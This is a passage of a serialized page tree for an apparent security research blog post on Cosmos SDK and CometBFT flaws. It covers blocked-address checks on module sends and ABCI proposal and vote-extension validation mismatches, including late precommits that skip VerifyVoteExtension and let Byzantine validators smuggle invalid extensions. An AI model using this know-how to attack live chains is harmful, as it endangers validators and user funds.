"props":89164,"children":89165},{"class":329,"line":4913},[89166,89171],{"type":24,"tag":327,"props":89167,"children":89168},{"style":844},[89169],{"type":29,"value":89170},"                    \"failed to mint BTC for event %v: %w\"",{"type":24,"tag":327,"props":89172,"children":89173},{"style":346},[89174],{"type":29,"value":2231},{"type":24,"tag":327,"props":89176,"children":89177},{"class":329,"line":4938},[89178,89183,89187,89192],{"type":24,"tag":327,"props":89179,"children":89180},{"style":356},[89181],{"type":29,"value":89182},"                    event",{"type":24,"tag":327,"props":89184,"children":89185},{"style":346},[89186],{"type":29,"value":66},{"type":24,"tag":327,"props":89188,"children":89189},{"style":356},[89190],{"type":29,"value":89191},"Sequence",{"type":24,"tag":327,"props":89193,"children":89194},{"style":346},[89195],{"type":29,"value":2231},{"type":24,"tag":327,"props":89197,"children":89198},{"class":329,"line":4974},[89199,89204],{"type":24,"tag":327,"props":89200,"children":89201},{"style":356},[89202],{"type":29,"value":89203},"                    err",{"type":24,"tag":327,"props":89205,"children":89206},{"style":346},[89207],{"type":29,"value":2231},{"type":24,"tag":327,"props":89209,"children":89210},{"class":329,"line":4982},[89211],{"type":24,"tag":327,"props":89212,"children":89213},{"style":346},[89214],{"type":29,"value":89215},"                )\n",{"type":24,"tag":327,"props":89217,"children":89218},{"class":329,"line":4990},[89219],{"type":24,"tag":327,"props":89220,"children":89221},{"style":346},[89222],{"type":29,"value":65607},{"type":24,"tag":327,"props":89224,"children":89225},{"class":329,"line":4999},[89226,89230,89234],{"type":24,"tag":327,"props":89227,"children":89228},{"style":346},[89229],{"type":29,"value":10914},{"type":24,"tag":327,"props":89231,"children":89232},{"style":425},[89233],{"type":29,"value":492},{"type":24,"tag":327,"props":89235,"children":89236},{"style":346},[89237],{"type":29,"value":497},{"type":24,"tag":327,"props":89239,"children":89240},{"class":329,"line":5042},[89241],{"type":24,"tag":327,"props":89242,"children":89243},{"style":381},[89244],{"type":29,"value":89245},"            ...\n",{"type":24,"tag":327,"props":89247,"children":89248},{"class":329,"line":5075},[89249],{"type":24,"tag":327,"props":89250,"children":89251},{"style":346},[89252],{"type":29,"value":8989},{"type":24,"tag":327,"props":89254,"children":89255},{"class":329,"line":5083},[89256],{"type":24,"tag":327,"props":89257,"children":89258},{"style":346},[89259],{"type":29,"value":535},{"type":24,"tag":327,"props":89261,"children":89262},{"class":329,"line":5091},[89263],{"type":24,"tag":327,"props":89264,"children":89265},{"style":381},[89266],{"type":29,"value":1697},{"type":24,"tag":327,"props":89268,"children":89269},{"class":329,"line":5100},[89270],{"type":24,"tag":327,"props":89271,"children":89272},{"style":346},[89273],{"type":29,"value":592},{"type":24,"tag":327,"props":89275,"children":89276},{"class":329,"line":5176},[89277],{"type":24,"tag":327,"props":89278,"children":89279},{"emptyLinePlaceholder":16},[89280],{"type":29,"value":544},{"type":24,"tag":327,"props":89282,"children":89283},{"class":329,"line":5209},[89284,89288,89292,89296,89300,89304,89308],{"type":24,"tag":327,"props":89285,"children":89286},{"style":334},[89287],{"type":29,"value":83027},{"type":24,"tag":327,"props":89289,"children":89290},{"style":346},[89291],{"type":29,"value":5894},{"type":24,"tag":327,"props":89293,"children":89294},{"style":356},[89295],{"type":29,"value":87855},{"type":24,"tag":327,"props":89297,"children":89298},{"style":1639},[89299],{"type":29,"value":86672},{"type":24,"tag":327,"props":89301,"children":89302},{"style":346},[89303],{"type":29,"value":1674},{"type":24,"tag":327,"props":89305,"children":89306},{"style":340},[89307],{"type":29,"value":89080},{"type":24,"tag":327,"props":89309,"children":89310},{"style":346},[89311],{"type":29,"value":4663},{"type":24,"tag":327,"props":89313,"children":89314},{"class":329,"line":5217},[89315,89319,89323,89327,89331],{"type":24,"tag":327,"props":89316,"children":89317},{"style":356},[89318],{"type":29,"value":1573},{"type":24,"tag":327,"props":89320,"children":89321},{"style":1639},[89322],{"type":29,"value":85368},{"type":24,"tag":327,"props":89324,"children":89325},{"style":346},[89326],{"type":29,"value":66},{"type":24,"tag":327,"props":89328,"children":89329},{"style":1639},[89330],{"type":29,"value":83076},{"type":24,"tag":327,"props":89332,"children":89333},{"style":346},[89334],{"type":29,"value":2231},{"type":24,"tag":327,"props":89336,"children":89337},{"class":329,"line":5225},[89338,89343,89347,89351,89356],{"type":24,"tag":327,"props":89339,"children":89340},{"style":356},[89341],{"type":29,"value":89342},"    recipient",{"type":24,"tag":327,"props":89344,"children":89345},{"style":1639},[89346],{"type":29,"value":85368},{"type":24,"tag":327,"props":89348,"children":89349},{"style":346},[89350],{"type":29,"value":66},{"type":24,"tag":327,"props":89352,"children":89353},{"style":1639},[89354],{"type":29,"value":89355},"AccAddress",{"type":24,"tag":327,"props":89357,"children":89358},{"style":346},[89359],{"type":29,"value":2231},{"type":24,"tag":327,"props":89361,"children":89362},{"class":329,"line":5263},[89363,89367,89372,89376,89381],{"type":24,"tag":327,"props":89364,"children":89365},{"style":356},[89366],{"type":29,"value":68305},{"type":24,"tag":327,"props":89368,"children":89369},{"style":1639},[89370],{"type":29,"value":89371}," math",{"type":24,"tag":327,"props":89373,"children":89374},{"style":346},[89375],{"type":29,"value":66},{"type":24,"tag":327,"props":89377,"children":89378},{"style":1639},[89379],{"type":29,"value":89380},"Int",{"type":24,"tag":327,"props":89382,"children":89383},{"style":346},[89384],{"type":29,"value":2231},{"type":24,"tag":327,"props":89386,"children":89387},{"class":329,"line":5276},[89388,89392,89396],{"type":24,"tag":327,"props":89389,"children":89390},{"style":346},[89391],{"type":29,"value":1674},{"type":24,"tag":327,"props":89393,"children":89394},{"style":1639},[89395],{"type":29,"value":22387},{"type":24,"tag":327,"props":89397,"children":89398},{"style":346},[89399],{"type":29,"value":497},{"type":24,"tag":327,"props":89401,"children":89402},{"class":329,"line":5289},[89403],{"type":24,"tag":327,"props":89404,"children":89405},{"style":381},[89406],{"type":29,"value":1697},{"type":24,"tag":327,"props":89408,"children":89409},{"class":329,"line":5302},[89410,89415,89419,89423,89427,89432,89436,89440],{"type":24,"tag":327,"props":89411,"children":89412},{"style":356},[89413],{"type":29,"value":89414},"    err",{"type":24,"tag":327,"props":89416,"children":89417},{"style":381},[89418],{"type":29,"value":4809},{"type":24,"tag":327,"props":89420,"children":89421},{"style":356},[89422],{"type":29,"value":87983},{"type":24,"tag":327,"props":89424,"children":89425},{"style":346},[89426],{"type":29,"value":66},{"type":24,"tag":327,"props":89428,"children":89429},{"style":356},[89430],{"type":29,"value":89431},"bankKeeper",{"type":24,"tag":327,"props":89433,"children":89434},{"style":346},[89435],{"type":29,"value":66},{"type":24,"tag":327,"props":89437,"children":89438},{"style":340},[89439],{"type":29,"value":88370},{"type":24,"tag":327,"props":89441,"children":89442},{"style":346},[89443],{"type":29,"value":4663},{"type":24,"tag":327,"props":89445,"children":89446},{"class":329,"line":5360},[89447,89451],{"type":24,"tag":327,"props":89448,"children":89449},{"style":356},[89450],{"type":29,"value":7649},{"type":24,"tag":327,"props":89452,"children":89453},{"style":346},[89454],{"type":29,"value":2231},{"type":24,"tag":327,"props":89456,"children":89457},{"class":329,"line":5369},[89458,89463,89467,89472],{"type":24,"tag":327,"props":89459,"children":89460},{"style":356},[89461],{"type":29,"value":89462},"        types",{"type":24,"tag":327,"props":89464,"children":89465},{"style":346},[89466],{"type":29,"value":66},{"type":24,"tag":327,"props":89468,"children":89469},{"style":356},[89470],{"type":29,"value":89471},"ModuleName",{"type":24,"tag":327,"props":89473,"children":89474},{"style":346},[89475],{"type":29,"value":2231},{"type":24,"tag":327,"props":89477,"children":89478},{"class":329,"line":38991},[89479,89483],{"type":24,"tag":327,"props":89480,"children":89481},{"style":356},[89482],{"type":29,"value":88880},{"type":24,"tag":327,"props":89484,"children":89485},{"style":346},[89486],{"type":29,"value":2231},{"type":24,"tag":327,"props":89488,"children":89489},{"class":329,"line":39012},[89490,89495],{"type":24,"tag":327,"props":89491,"children":89492},{"style":356},[89493],{"type":29,"value":89494},"        coins",{"type":24,"tag":327,"props":89496,"children":89497},{"style":346},[89498],{"type":29,"value":2231},{"type":24,"tag":327,"props":89500,"children":89501},{"class":329,"line":87678},[89502],{"type":24,"tag":327,"props":89503,"children":89504},{"style":346},[89505],{"type":29,"value":5366},{"type":24,"tag":327,"props":89507,"children":89508},{"class":329,"line":87691},[89509,89513,89517,89521,89525],{"type":24,"tag":327,"props":89510,"children":89511},{"style":425},[89512],{"type":29,"value":428},{"type":24,"tag":327,"props":89514,"children":89515},{"style":356},[89516],{"type":29,"value":55241},{"type":24,"tag":327,"props":89518,"children":89519},{"style":381},[89520],{"type":29,"value":71110},{"type":24,"tag":327,"props":89522,"children":89523},{"style":334},[89524],{"type":29,"value":88645},{"type":24,"tag":327,"props":89526,"children":89527},{"style":346},[89528],{"type":29,"value":497},{"type":24,"tag":327,"props":89530,"children":89531},{"class":329,"line":87699},[89532,89536,89540,89544,89548,89552,89557,89561,89565],{"type":24,"tag":327,"props":89533,"children":89534},{"style":425},[89535],{"type":29,"value":4944},{"type":24,"tag":327,"props":89537,"children":89538},{"style":356},[89539],{"type":29,"value":88961},{"type":24,"tag":327,"props":89541,"children":89542},{"style":346},[89543],{"type":29,"value":66},{"type":24,"tag":327,"props":89545,"children":89546},{"style":340},[89547],{"type":29,"value":88678},{"type":24,"tag":327,"props":89549,"children":89550},{"style":346},[89551],{"type":29,"value":349},{"type":24,"tag":327,"props":89553,"children":89554},{"style":844},[89555],{"type":29,"value":89556},"\"failed to send coins: %w\"",{"type":24,"tag":327,"props":89558,"children":89559},{"style":346},[89560],{"type":29,"value":2744},{"type":24,"tag":327,"props":89562,"children":89563},{"style":356},[89564],{"type":29,"value":55140},{"type":24,"tag":327,"props":89566,"children":89567},{"style":346},[89568],{"type":29,"value":852},{"type":24,"tag":327,"props":89570,"children":89571},{"class":329,"line":87707},[89572],{"type":24,"tag":327,"props":89573,"children":89574},{"style":346},[89575],{"type":29,"value":535},{"type":24,"tag":327,"props":89577,"children":89578},{"class":329,"line":87715},[89579],{"type":24,"tag":327,"props":89580,"children":89581},{"style":381},[89582],{"type":29,"value":1697},{"type":24,"tag":327,"props":89584,"children":89585},{"class":329,"line":87755},[89586],{"type":24,"tag":327,"props":89587,"children":89588},{"style":346},[89589],{"type":29,"value":592},{"type":24,"tag":317,"props":89591,"children":89593},{"code":89592,"language":82891,"meta":7,"className":82892,"style":7},"func (k BaseKeeper) SendCoinsFromModuleToAccount(\n ctx context.Context, senderModule string, recipientAddr sdk.AccAddress, amt sdk.Coins,\n) error {\n ...\n if k.BlockedAddr(recipientAddr) {\n  return errorsmod.Wrapf(sdkerrors.ErrUnauthorized, \"%s is not allowed to receive funds\", recipientAddr)\n }\n ...\n}\n",[89594],{"type":24,"tag":284,"props":89595,"children":89596},{"__ignoreMap":7},[89597,89629,89708,89723,89731,89762,89820,89827,89834],{"type":24,"tag":327,"props":89598,"children":89599},{"class":329,"line":330},[89600,89604,89608,89612,89617,89621,89625],{"type":24,"tag":327,"props":89601,"children":89602},{"style":334},[89603],{"type":29,"value":83027},{"type":24,"tag":327,"props":89605,"children":89606},{"style":346},[89607],{"type":29,"value":5894},{"type":24,"tag":327,"props":89609,"children":89610},{"style":356},[89611],{"type":29,"value":87855},{"type":24,"tag":327,"props":89613,"children":89614},{"style":1639},[89615],{"type":29,"value":89616},"BaseKeeper",{"type":24,"tag":327,"props":89618,"children":89619},{"style":346},[89620],{"type":29,"value":1674},{"type":24,"tag":327,"props":89622,"children":89623},{"style":340},[89624],{"type":29,"value":88370},{"type":24,"tag":327,"props":89626,"children":89627},{"style":346},[89628],{"type":29,"value":4663},{"type":24,"tag":327,"props":89630,"children":89631},{"class":329,"line":367},[89632,89636,89640,89644,89648,89652,89657,89661,89665,89670,89674,89678,89682,89686,89691,89695,89699,89704],{"type":24,"tag":327,"props":89633,"children":89634},{"style":356},[89635],{"type":29,"value":7301},{"type":24,"tag":327,"props":89637,"children":89638},{"style":1639},[89639],{"type":29,"value":83067},{"type":24,"tag":327,"props":89641,"children":89642},{"style":346},[89643],{"type":29,"value":66},{"type":24,"tag":327,"props":89645,"children":89646},{"style":1639},[89647],{"type":29,"value":83076},{"type":24,"tag":327,"props":89649,"children":89650},{"style":346},[89651],{"type":29,"value":2744},{"type":24,"tag":327,"props":89653,"children":89654},{"style":356},[89655],{"type":29,"value":89656},"senderModule",{"type":24,"tag":327,"props":89658,"children":89659},{"style":1639},[89660],{"type":29,"value":42742},{"type":24,"tag":327,"props":89662,"children":89663},{"style":346},[89664],{"type":29,"value":2744},{"type":24,"tag":327,"props":89666,"children":89667},{"style":356},[89668],{"type":29,"value":89669},"recipientAddr",{"type":24,"tag":327,"props":89671,"children":89672},{"style":1639},[89673],{"type":29,"value":85368},{"type":24,"tag":327,"props":89675,"children":89676},{"style":346},[89677],{"type":29,"value":66},{"type":24,"tag":327,"props":89679,"children":89680},{"style":1639},[89681],{"type":29,"value":89355},{"type":24,"tag":327,"props":89683,"children":89684},{"style":346},[89685],{"type":29,"value":2744},{"type":24,"tag":327,"props":89687,"children":89688},{"style":356},[89689],{"type":29,"value":89690},"amt",{"type":24,"tag":327,"props":89692,"children":89693},{"style":1639},[89694],{"type":29,"value":85368},{"type":24,"tag":327,"props":89696,"children":89697},{"style":346},[89698],{"type":29,"value":66},{"type":24,"tag":327,"props":89700,"children":89701},{"style":1639},[89702],{"type":29,"value":89703},"Coins",{"type":24,"tag":327,"props":89705,"children":89706},{"style":346},[89707],{"type":29,"value":2231},{"type":24,"tag":327,"props":89709,"children":89710},{"class":329,"line":408},[89711,89715,89719],{"type":24,"tag":327,"props":89712,"children":89713},{"style":346},[89714],{"type":29,"value":1674},{"type":24,"tag":327,"props":89716,"children":89717},{"style":1639},[89718],{"type":29,"value":22387},{"type":24,"tag":327,"props":89720,"children":89721},{"style":346},[89722],{"type":29,"value":497},{"type":24,"tag":327,"props":89724,"children":89725},{"class":329,"line":421},[89726],{"type":24,"tag":327,"props":89727,"children":89728},{"style":381},[89729],{"type":29,"value":89730}," ...\n",{"type":24,"tag":327,"props":89732,"children":89733},{"class":329,"line":450},[89734,89738,89742,89746,89750,89754,89758],{"type":24,"tag":327,"props":89735,"children":89736},{"style":425},[89737],{"type":29,"value":23305},{"type":24,"tag":327,"props":89739,"children":89740},{"style":356},[89741],{"type":29,"value":87983},{"type":24,"tag":327,"props":89743,"children":89744},{"style":346},[89745],{"type":29,"value":66},{"type":24,"tag":327,"props":89747,"children":89748},{"style":340},[89749],{"type":29,"value":88386},{"type":24,"tag":327,"props":89751,"children":89752},{"style":346},[89753],{"type":29,"value":349},{"type":24,"tag":327,"props":89755,"children":89756},{"style":356},[89757],{"type":29,"value":89669},{"type":24,"tag":327,"props":89759,"children":89760},{"style":346},[89761],{"type":29,"value":364},{"type":24,"tag":327,"props":89763,"children":89764},{"class":329,"line":481},[89765,89769,89774,89778,89782,89786,89790,89794,89799,89803,89808,89812,89816],{"type":24,"tag":327,"props":89766,"children":89767},{"style":425},[89768],{"type":29,"value":45912},{"type":24,"tag":327,"props":89770,"children":89771},{"style":356},[89772],{"type":29,"value":89773}," errorsmod",{"type":24,"tag":327,"props":89775,"children":89776},{"style":346},[89777],{"type":29,"value":66},{"type":24,"tag":327,"props":89779,"children":89780},{"style":340},[89781],{"type":29,"value":87637},{"type":24,"tag":327,"props":89783,"children":89784},{"style":346},[89785],{"type":29,"value":349},{"type":24,"tag":327,"props":89787,"children":89788},{"style":356},[89789],{"type":29,"value":87299},{"type":24,"tag":327,"props":89791,"children":89792},{"style":346},[89793],{"type":29,"value":66},{"type":24,"tag":327,"props":89795,"children":89796},{"style":356},[89797],{"type":29,"value":89798},"ErrUnauthorized",{"type":24,"tag":327,"props":89800,"children":89801},{"style":346},[89802],{"type":29,"value":2744},{"type":24,"tag":327,"props":89804,"children":89805},{"style":844},[89806],{"type":29,"value":89807},"\"%s is not allowed to receive funds\"",{"type":24,"tag":327,"props":89809,"children":89810},{"style":346},[89811],{"type":29,"value":2744},{"type":24,"tag":327,"props":89813,"children":89814},{"style":356},[89815],{"type":29,"value":89669},{"type":24,"tag":327,"props":89817,"children":89818},{"style":346},[89819],{"type":29,"value":852},{"type":24,"tag":327,"props":89821,"children":89822},{"class":329,"line":500},[89823],{"type":24,"tag":327,"props":89824,"children":89825},{"style":346},[89826],{"type":29,"value":1949},{"type":24,"tag":327,"props":89828,"children":89829},{"class":329,"line":529},[89830],{"type":24,"tag":327,"props":89831,"children":89832},{"style":381},[89833],{"type":29,"value":89730},{"type":24,"tag":327,"props":89835,"children":89836},{"class":329,"line":538},[89837],{"type":24,"tag":327,"props":89838,"children":89839},{"style":346},[89840],{"type":29,"value":592},{"type":24,"tag":25,"props":89842,"children":89843},{},[89844,89846,89853],{"type":29,"value":89845},"This shows even well-known bug classes still resurface from time to time due to unforeseen invariant violations. Additional examples include ",{"type":24,"tag":57,"props":89847,"children":89850},{"href":89848,"rel":89849},"https://hackerone.com/reports/3018307",[61],[89851],{"type":29,"value":89852},"improper decimal handling in the group module",{"type":29,"value":66},{"type":24,"tag":228,"props":89855,"children":89857},{"id":89856},"same-same-but-different",[89858],{"type":29,"value":89859},"Same, Same... But Different",{"type":24,"tag":25,"props":89861,"children":89862},{},[89863,89865,89871,89872,89878,89879,89885,89886,89892],{"type":29,"value":89864},"Cosmos exposes several consensus-level interfaces, such as ",{"type":24,"tag":284,"props":89866,"children":89868},{"className":89867},[],[89869],{"type":29,"value":89870},"PrepareProposal",{"type":29,"value":2744},{"type":24,"tag":284,"props":89873,"children":89875},{"className":89874},[],[89876],{"type":29,"value":89877},"ProcessProposal",{"type":29,"value":2744},{"type":24,"tag":284,"props":89880,"children":89882},{"className":89881},[],[89883],{"type":29,"value":89884},"ExtendVote",{"type":29,"value":14054},{"type":24,"tag":284,"props":89887,"children":89889},{"className":89888},[],[89890],{"type":29,"value":89891},"VerifyVoteExtension",{"type":29,"value":89893},". These ABCI methods allow developers to customize how blocks are constructed, as well as inject supplementary data into each block.",{"type":24,"tag":25,"props":89895,"children":89896},{},[89897],{"type":29,"value":89898},"Two of the best-known attack surfaces are",{"type":24,"tag":175,"props":89900,"children":89901},{},[89902,89931],{"type":24,"tag":179,"props":89903,"children":89904},{},[89905,89910,89911,89916,89918,89923,89924,89929],{"type":24,"tag":284,"props":89906,"children":89908},{"className":89907},[],[89909],{"type":29,"value":89870},{"type":29,"value":5894},{"type":24,"tag":284,"props":89912,"children":89914},{"className":89913},[],[89915],{"type":29,"value":89884},{"type":29,"value":89917},") outputs being rejected due to ",{"type":24,"tag":284,"props":89919,"children":89921},{"className":89920},[],[89922],{"type":29,"value":89877},{"type":29,"value":5894},{"type":24,"tag":284,"props":89925,"children":89927},{"className":89926},[],[89928],{"type":29,"value":89891},{"type":29,"value":89930},") over-validating, resulting in liveness failures.",{"type":24,"tag":179,"props":89932,"children":89933},{},[89934,89936,89941,89942,89947,89949,89954,89955,89960],{"type":29,"value":89935},"Malicious proposals and vote extensions not created through the ",{"type":24,"tag":284,"props":89937,"children":89939},{"className":89938},[],[89940],{"type":29,"value":89870},{"type":29,"value":5894},{"type":24,"tag":284,"props":89943,"children":89945},{"className":89944},[],[89946],{"type":29,"value":89884},{"type":29,"value":89948},") are accepted due to ",{"type":24,"tag":284,"props":89950,"children":89952},{"className":89951},[],[89953],{"type":29,"value":89877},{"type":29,"value":5894},{"type":24,"tag":284,"props":89956,"children":89958},{"className":89957},[],[89959],{"type":29,"value":89891},{"type":29,"value":89961},") under-validating.",{"type":24,"tag":25,"props":89963,"children":89964},{},[89965],{"type":29,"value":89966},"In essence, any difference in pairs of handlers will likely lead to security issues.",{"type":24,"tag":25,"props":89968,"children":89969},{},[89970,89972,89978,89980,89985],{"type":29,"value":89971},"There are also a few lesser known variants of these issues. One instance is the validation of ",{"type":24,"tag":284,"props":89973,"children":89975},{"className":89974},[],[89976],{"type":29,"value":89977},"VoteExtensions",{"type":29,"value":89979}," within ",{"type":24,"tag":284,"props":89981,"children":89983},{"className":89982},[],[89984],{"type":29,"value":89870},{"type":29,"value":89986},". To provide context, we start with a primer on the CometBTF consensus and vote extensions.",{"type":24,"tag":25,"props":89988,"children":89989},{},[89990,89992,89997,89999,90004],{"type":29,"value":89991},"Consensus starts with a leader creating a proposal and then broadcasting it to each validator. Validators then proceed to vote on whether or not to accept the proposal. During the voting phase, ",{"type":24,"tag":284,"props":89993,"children":89995},{"className":89994},[],[89996],{"type":29,"value":89884},{"type":29,"value":89998}," is called to attach additional data to the votes. Once a validator collects enough valid votes that pass ",{"type":24,"tag":284,"props":90000,"children":90002},{"className":90001},[],[90003],{"type":29,"value":89891},{"type":29,"value":90005},", a proposal is considered accepted and can be committed. After committing the proposal, a new leader starts to create the next proposal, bringing us back to the point where we started.",{"type":24,"tag":25,"props":90007,"children":90008},{},[90009,90011,90016],{"type":29,"value":90010},"So, where are the attached vote extension data used? It turns out a leader should include the vote extensions of the previous consensus round in its proposal. It might be tempting to conclude that all vote extensions an honest leader accepted have passed the ",{"type":24,"tag":284,"props":90012,"children":90014},{"className":90013},[],[90015],{"type":29,"value":89891},{"type":29,"value":90017}," check and are therefore valid. Thus, we can directly inject all vote extensions into our proposal.",{"type":24,"tag":25,"props":90019,"children":90020},{},[90021,90023,90028,90030,90036],{"type":29,"value":90022},"Unfortunately, CometBTF directly accepts late precommits without passing them through ",{"type":24,"tag":284,"props":90024,"children":90026},{"className":90025},[],[90027],{"type":29,"value":89891},{"type":29,"value":90029},". This exposes a time window where Byzantine validators can smuggle malicious vote into the next leader's cache, luring the leader into including invalid vote extensions into its ",{"type":24,"tag":284,"props":90031,"children":90033},{"className":90032},[],[90034],{"type":29,"value":90035},"Proposal",{"type":29,"value":66},{"type":24,"tag":317,"props":90038,"children":90040},{"code":90039,"language":82891,"meta":7,"className":82892,"style":7},"func (cs *State) addVote(vote *types.Vote, peerID p2p.ID) (added bool, err error) {\n    ...\n\n    // A precommit for the previous height?\n    // These come in while we wait timeoutCommit\n    if vote.Height+1 == cs.Height && vote.Type == types.PrecommitType {\n        ...\n        // Late precommits are not checked by VerifyVoteExtension\n        added, err = cs.LastCommit.AddVote(vote)\n        ...\n        return added, err\n    }\n    extEnabled := cs.state.ConsensusParams.Feature.VoteExtensionsEnabled(vote.Height)\n    if extEnabled {\n        ...\n        if vote.Type == types.PrecommitType && !vote.BlockID.IsNil() &&\n            !bytes.Equal(vote.ValidatorAddress, myAddr) { // Skip the VerifyVoteExtension call if the vote was issued by this validator.\n            ...\n            err := cs.blockExec.VerifyVoteExtension(context.TODO(), vote)\n            ...\n        }\n    } else if {\n        ...\n    }\n    ...\n}\n",[90041],{"type":24,"tag":284,"props":90042,"children":90043},{"__ignoreMap":7},[90044,90156,90163,90170,90178,90186,90270,90277,90285,90339,90346,90367,90374,90446,90462,90469,90543,90599,90606,90668,90675,90682,90701,90708,90715,90722],{"type":24,"tag":327,"props":90045,"children":90046},{"class":329,"line":330},[90047,90051,90055,90060,90064,90069,90073,90078,90082,90087,90091,90095,90099,90104,90108,90113,90118,90122,90127,90131,90136,90140,90144,90148,90152],{"type":24,"tag":327,"props":90048,"children":90049},{"style":334},[90050],{"type":29,"value":83027},{"type":24,"tag":327,"props":90052,"children":90053},{"style":346},[90054],{"type":29,"value":5894},{"type":24,"tag":327,"props":90056,"children":90057},{"style":356},[90058],{"type":29,"value":90059},"cs ",{"type":24,"tag":327,"props":90061,"children":90062},{"style":381},[90063],{"type":29,"value":469},{"type":24,"tag":327,"props":90065,"children":90066},{"style":1639},[90067],{"type":29,"value":90068},"State",{"type":24,"tag":327,"props":90070,"children":90071},{"style":346},[90072],{"type":29,"value":1674},{"type":24,"tag":327,"props":90074,"children":90075},{"style":340},[90076],{"type":29,"value":90077},"addVote",{"type":24,"tag":327,"props":90079,"children":90080},{"style":346},[90081],{"type":29,"value":349},{"type":24,"tag":327,"props":90083,"children":90084},{"style":356},[90085],{"type":29,"value":90086},"vote",{"type":24,"tag":327,"props":90088,"children":90089},{"style":381},[90090],{"type":29,"value":17364},{"type":24,"tag":327,"props":90092,"children":90093},{"style":1639},[90094],{"type":29,"value":13327},{"type":24,"tag":327,"props":90096,"children":90097},{"style":346},[90098],{"type":29,"value":66},{"type":24,"tag":327,"props":90100,"children":90101},{"style":1639},[90102],{"type":29,"value":90103},"Vote",{"type":24,"tag":327,"props":90105,"children":90106},{"style":346},[90107],{"type":29,"value":2744},{"type":24,"tag":327,"props":90109,"children":90110},{"style":356},[90111],{"type":29,"value":90112},"peerID",{"type":24,"tag":327,"props":90114,"children":90115},{"style":1639},[90116],{"type":29,"value":90117}," p2p",{"type":24,"tag":327,"props":90119,"children":90120},{"style":346},[90121],{"type":29,"value":66},{"type":24,"tag":327,"props":90123,"children":90124},{"style":1639},[90125],{"type":29,"value":90126},"ID",{"type":24,"tag":327,"props":90128,"children":90129},{"style":346},[90130],{"type":29,"value":83109},{"type":24,"tag":327,"props":90132,"children":90133},{"style":356},[90134],{"type":29,"value":90135},"added",{"type":24,"tag":327,"props":90137,"children":90138},{"style":1639},[90139],{"type":29,"value":1935},{"type":24,"tag":327,"props":90141,"children":90142},{"style":346},[90143],{"type":29,"value":2744},{"type":24,"tag":327,"props":90145,"children":90146},{"style":356},[90147],{"type":29,"value":55140},{"type":24,"tag":327,"props":90149,"children":90150},{"style":1639},[90151],{"type":29,"value":22400},{"type":24,"tag":327,"props":90153,"children":90154},{"style":346},[90155],{"type":29,"value":364},{"type":24,"tag":327,"props":90157,"children":90158},{"class":329,"line":367},[90159],{"type":24,"tag":327,"props":90160,"children":90161},{"style":381},[90162],{"type":29,"value":1697},{"type":24,"tag":327,"props":90164,"children":90165},{"class":329,"line":408},[90166],{"type":24,"tag":327,"props":90167,"children":90168},{"emptyLinePlaceholder":16},[90169],{"type":29,"value":544},{"type":24,"tag":327,"props":90171,"children":90172},{"class":329,"line":421},[90173],{"type":24,"tag":327,"props":90174,"children":90175},{"style":551},[90176],{"type":29,"value":90177},"    // A precommit for the previous height?\n",{"type":24,"tag":327,"props":90179,"children":90180},{"class":329,"line":450},[90181],{"type":24,"tag":327,"props":90182,"children":90183},{"style":551},[90184],{"type":29,"value":90185},"    // These come in while we wait timeoutCommit\n",{"type":24,"tag":327,"props":90187,"children":90188},{"class":329,"line":481},[90189,90193,90198,90202,90207,90211,90215,90219,90224,90228,90232,90236,90240,90244,90249,90253,90257,90261,90266],{"type":24,"tag":327,"props":90190,"children":90191},{"style":425},[90192],{"type":29,"value":428},{"type":24,"tag":327,"props":90194,"children":90195},{"style":356},[90196],{"type":29,"value":90197}," vote",{"type":24,"tag":327,"props":90199,"children":90200},{"style":346},[90201],{"type":29,"value":66},{"type":24,"tag":327,"props":90203,"children":90204},{"style":356},[90205],{"type":29,"value":90206},"Height",{"type":24,"tag":327,"props":90208,"children":90209},{"style":381},[90210],{"type":29,"value":394},{"type":24,"tag":327,"props":90212,"children":90213},{"style":397},[90214],{"type":29,"value":3238},{"type":24,"tag":327,"props":90216,"children":90217},{"style":381},[90218],{"type":29,"value":9887},{"type":24,"tag":327,"props":90220,"children":90221},{"style":356},[90222],{"type":29,"value":90223}," cs",{"type":24,"tag":327,"props":90225,"children":90226},{"style":346},[90227],{"type":29,"value":66},{"type":24,"tag":327,"props":90229,"children":90230},{"style":356},[90231],{"type":29,"value":90206},{"type":24,"tag":327,"props":90233,"children":90234},{"style":381},[90235],{"type":29,"value":21717},{"type":24,"tag":327,"props":90237,"children":90238},{"style":356},[90239],{"type":29,"value":90197},{"type":24,"tag":327,"props":90241,"children":90242},{"style":346},[90243],{"type":29,"value":66},{"type":24,"tag":327,"props":90245,"children":90246},{"style":356},[90247],{"type":29,"value":90248},"Type",{"type":24,"tag":327,"props":90250,"children":90251},{"style":381},[90252],{"type":29,"value":9887},{"type":24,"tag":327,"props":90254,"children":90255},{"style":356},[90256],{"type":29,"value":84902},{"type":24,"tag":327,"props":90258,"children":90259},{"style":346},[90260],{"type":29,"value":66},{"type":24,"tag":327,"props":90262,"children":90263},{"style":356},[90264],{"type":29,"value":90265},"PrecommitType",{"type":24,"tag":327,"props":90267,"children":90268},{"style":346},[90269],{"type":29,"value":497},{"type":24,"tag":327,"props":90271,"children":90272},{"class":329,"line":500},[90273],{"type":24,"tag":327,"props":90274,"children":90275},{"style":381},[90276],{"type":29,"value":88569},{"type":24,"tag":327,"props":90278,"children":90279},{"class":329,"line":529},[90280],{"type":24,"tag":327,"props":90281,"children":90282},{"style":551},[90283],{"type":29,"value":90284},"        // Late precommits are not checked by VerifyVoteExtension\n",{"type":24,"tag":327,"props":90286,"children":90287},{"class":329,"line":538},[90288,90293,90297,90301,90305,90309,90313,90318,90322,90327,90331,90335],{"type":24,"tag":327,"props":90289,"children":90290},{"style":356},[90291],{"type":29,"value":90292},"        added",{"type":24,"tag":327,"props":90294,"children":90295},{"style":346},[90296],{"type":29,"value":2744},{"type":24,"tag":327,"props":90298,"children":90299},{"style":356},[90300],{"type":29,"value":55140},{"type":24,"tag":327,"props":90302,"children":90303},{"style":381},[90304],{"type":29,"value":4809},{"type":24,"tag":327,"props":90306,"children":90307},{"style":356},[90308],{"type":29,"value":90223},{"type":24,"tag":327,"props":90310,"children":90311},{"style":346},[90312],{"type":29,"value":66},{"type":24,"tag":327,"props":90314,"children":90315},{"style":356},[90316],{"type":29,"value":90317},"LastCommit",{"type":24,"tag":327,"props":90319,"children":90320},{"style":346},[90321],{"type":29,"value":66},{"type":24,"tag":327,"props":90323,"children":90324},{"style":340},[90325],{"type":29,"value":90326},"AddVote",{"type":24,"tag":327,"props":90328,"children":90329},{"style":346},[90330],{"type":29,"value":349},{"type":24,"tag":327,"props":90332,"children":90333},{"style":356},[90334],{"type":29,"value":90086},{"type":24,"tag":327,"props":90336,"children":90337},{"style":346},[90338],{"type